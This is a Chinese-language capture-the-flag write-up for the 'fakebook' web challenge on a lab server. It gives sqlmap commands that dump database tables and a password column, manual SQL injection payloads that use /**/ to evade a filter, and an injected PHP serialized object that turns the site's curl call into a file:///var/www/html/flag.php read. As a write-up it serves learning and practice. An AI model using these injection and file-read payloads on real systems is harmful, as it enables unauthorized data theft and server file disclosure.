如有不对的地方,还请各位大佬指正。下面开始做题:
进去以后可以看到有login和join还有jpg可以进去,这些页面的url分别用漏扫工具acunetix进行扫描。
点击添加扫描对象,其他的一切都按照默认的扫描模式进行扫描,几个网站全部扫描以后可以得知主站:http://111.200.241.244:62233/下存在sql漏洞
存在sql漏洞url:http://111.200.241.244:62233/vive.php?no=1
这里是方法一,利用sqlmap暴库在这里极慢,花了我很多时间有兴趣的可以看一下,算了最后我放弃了,,,大家就看一乐就行了,sqlmap确实没有灵魂。。。。呜呜呜。
补,我有尝试了一遍,发现哪怕进入了正确的库名里面,仍然不能够爆出字段,说明字段做了特殊的处理,这里就不多说了。请大家不要学这个方法。。。。。
到这里我们就可以利用构建好的url结合sqlmap进行一个注入,常规注入语句为:
sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" --dbs sql注入语句请参考:Sqlmap使用教程_ygyydwx的博客-CSDN博客_sqlmap使用教程
图片上的数据库fakebook是之前注入出来的数据库。。。。但是之前线程开的太多了,导致电脑卡死,之前的数据也就丢失了,总之注入有没有fakebook都不会成功,sqlmap都会提示我们这段话
要让我们在构造的语句后添加--no-cast ,添加后的语句
sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" --dbs --no-cast
接下来会爆出数据库,但是会很慢,sqlmap会提醒我们添加--threads,添加完成以后的语句为
sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" --dbs --no-cast --threads 4
接下来就是报表注入的语句为:sqlmap -u "http://111.200.241.244:62233/vive.php?no=1" -D fakebook --tables --no-cast --threads 4
略过之前同样的步骤:不同的地方有sqlmap会问你是否考虑开启多线程,多线程不安全,这里y和n都点过,都无关紧要。
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] n
do you want to use common column existence check? [y/N/q] y 这里很重要,一定要选yes,不然就会被弹出。无法基础爆出表名
选了yes以后又会弹出让选择default还是custom,这里选谁都可以。
最后可以爆出表名
接下来爆行就是输入:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -columns --thread 4,接下来又会轮回上面的一轮输入,像上一轮报表输入就行。
接下来爆字段:sqlmap -u "http://111.200.241.244:62233/view.php?no=1" -D fakebook -T users -C passwd --dump --thread 4 --no-cast --batch 这里必须要加--no-cast不然就会报错,反正我的是这样的。
不对,哭死,我跑了一天的代码居然是这个,小丑竟是我自己。哎,我是打算放弃了,flag肯定在这里面但是我已经没有时间跑了,换一种方法、看了其他大佬写的wp,发现库flag在data列表中。运用到了反序列化,啥都跑不出来,离谱,绷不住了。还是用另一种方式吧。
方法二:进入后用手工测试发现了文中有一个robots.txt(因为我的御剑扫描扫描不出来,有这个文档也扫描不出来,不知道为什么)ctf中常见的目录收集;CTF中的Web信息搜集_Amire0x的博客-CSDN博客_ctf web 信息收集
代码先放一边,继续点击其他网页,点击到join后,可以一番操作以后知道需要先创建账号才行,这里就先创建账号
在blog这里需要填入网址才能注册成功,blog有博客的意思;
注册成功后:
这里发下没有什么,进入账号123的界面,
这里测试是否含有sql注入,构建payload:http://111.200.241.244:61663/view.php?no=1 and 1=1#
更换payload:http://111.200.241.244:61663/view.php?no=1 and 1=2'#
报错了,存在sql注入点, 利用order by 排序:
http://111.200.241.244:55597/view.php?no=1 order by 3#
http://111.200.241.244:55597/view.php?no=1 order by 4#
http://111.200.241.244:55597/view.php?no=1 order by 5# 到这里就报错,说明字段数为4
利用联合注入http://111.200.241.244:55597/view.php?no=1 union select 1,2,3,4 #,回显失败,应该是被过滤掉了
尝试过双写注入发现并不是过滤掉了union select,参考了大佬的文章SQL注入时当and、or等字符被过滤了怎么办_litchi125的博客-CSDN博客_sql注入过滤and,还有这位大佬的文章sql注入绕WAF的N种姿势 - 安全客,安全资讯平台
在经过几番绕过测试以后发现/**/能够绕过过滤,payloade:http://111.200.241.244:55597/view.php?no=1 union/**/select 1,2,3,4# ( /**/这个在文中起注释作用)
尝试几番以后发现?no=1没有回显,也不知道为什么,所以改了一下,将?no=2之后才有了回显,原谅我比较菜。
具体payload
用联合注入暴库的过程中,暴出来了fakebook、一个库,其他的都是回显2???
下面开始爆表这里有参考SQL注入之union联合注入——sql-lab第一关(非常非常详细的过程)_Wαff1ε的博客-CSDN博客_sql联合注入
利用 http://111.200.241.244:55597/view.php?no=2 union/**/select 1,user(),3,4#
,可以知道该库是属于root用户的
爆表的具体语句:Fakebookhttp://111.200.241.244:55597/Fakebookview.php?no=2 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"#
爆字段的具体语句:
http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
有如下的字段no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
查字段对应得值,具体语句如下:
http://111.200.241.244:55597/view.php?no=2 union/**/select 1,group_concat(data),3,4 from users#
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}
1.这一段话是序列化的字符串,2.看文中的提示/var/www/html/view.php,我们也可以去猜测flag.php有可能在统一文件夹下,如/var/www/html/flag.php
3.cuit_init()用来初始化一个curl会话,curl可以使用file伪协议读取文件。
4.查看源代码:(robots.txt下载到的源代码)
name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init(); #初始化一个新的会话,返回一个cURL句柄,供curl_setopt(), curl_exec()和curl_close() 函数使用。
curl_setopt($ch, CURLOPT_URL, $url); #curl_setopt — 设置一个cURL传输选项。 CURLOPT_URL需要获取的URL地址,也可以在curl_init()函数中设置
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); # CURLOPT_RETURNTRANSFER 将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
$output = curl_exec($ch); #执行一个cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);#//抓取URL并把它传递给浏览器,CURLINFO_HTTP_CODE最后一个收到的HTTP代码
if($httpCode == 404) {
return 404;
}
curl_close($ch);// 关闭cURL资源,并且释放系统资源
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计中:curl 可以使用伪协议file:///文件路径。
结合以上四点我们可以知道,flag可能在/var/www/html/flag.php且传入的参数被序列化了且传入的变量有$name、$age、$blog,且我们需要用到伪协议file:///。最终们要构建的payload,满足这些条件的代码如下:
最后一步构建的paylod为
http://111.200.241.244:52692/view.php?no=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' #(传入的序列化参数需要加上 '')
打开F12以后就能看到被加密的flag:PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg==
flag = flag{c1e552fdf77049fabf65168f22f7aeab}